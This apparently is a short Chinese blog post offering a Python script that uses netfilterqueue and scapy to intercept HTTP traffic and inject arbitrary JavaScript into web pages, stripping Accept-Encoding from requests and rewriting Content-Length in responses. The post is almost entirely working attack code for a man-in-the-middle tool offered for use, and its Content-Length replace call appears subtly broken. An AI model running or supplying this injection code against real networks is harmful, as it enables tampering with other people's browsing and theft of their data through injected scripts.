利用Netfilterqueue以及scapy模块实现网页内容的篡改

  利用本代码可以实现比如JS代码的插入或者修改.

from scapy.all import *
import netfilterqueue
import sys
import optparse
import re


class HTTPManipulate:
    def __init__(self) -> None:
        self.script = self.get_params()

    def get_params(self):
        parser = optparse.OptionParser('Usage: < Program > -s javascript to execute')
        parser.add_option('-s', '--script', dest='script', type='string', help='Input javascript to execute')
        options, args = parser.parse_args()
        if options.script is None:
            print(parser.usage)
            sys.exit()
        return options.script
    
    def set_load(self,scapy_packet, new_load):
        scapy_packet[Raw].load = new_load
        del scapy_packet[IP].len
        del scapy_packet[IP].chksum      
        del scapy_packet[TCP].chksum
        return scapy_packet


    def packet_handler(self, pkt):
        scapy_packet = IP(pkt.get_payload())
        if scapy_packet.haslayer(Raw):
            try:
                load = scapy_packet[Raw].load.decode('utf-8')
                if scapy_packet[TCP].dport == 80:
                    # This is request
                    print("[-] Request packet")
                    pattern = 'Accept-Encoding: .*?\\r\\n'
                    load = re.sub(pattern, "",load)
                    # print(load)
                elif scapy_packet[TCP].sport == 80:
                    # This is response
                    print(scapy_packet.show())
                    load = load.replace("</body>", self.script+"</body>")
                    content_length_pattern = r'(?:Content-Length:\s)(\d*)'
                    res = re.search(content_length_pattern, load)
                    # print(res)
                    # print('='*100)
                    if res:
                        content_length = int(res.group(1))
                        new_content_length = content_length + len(self.script)
                        load = load.replace(str(content_length), str(new_content_length),load)
                        print(load)
                if load != scapy_packet[Raw].load.decode('utf-8'):
                    scapy_packet = self.set_load(scapy_packet, load)
                    pkt.set_payload(bytes(scapy_packet))


            except:
                pass
        pkt.accept()

    
    def run(self):
        queue = netfilterqueue.NetfilterQueue()
        queue.bind(0, self.packet_handler)
        queue.run()
    

if __name__ == '__main__':
    httpobj = HTTPManipulate()
    httpobj.run()

 

posted @ 2022-06-07 08:59  Jason_huawen  阅读(135)  评论(0编辑  收藏  举报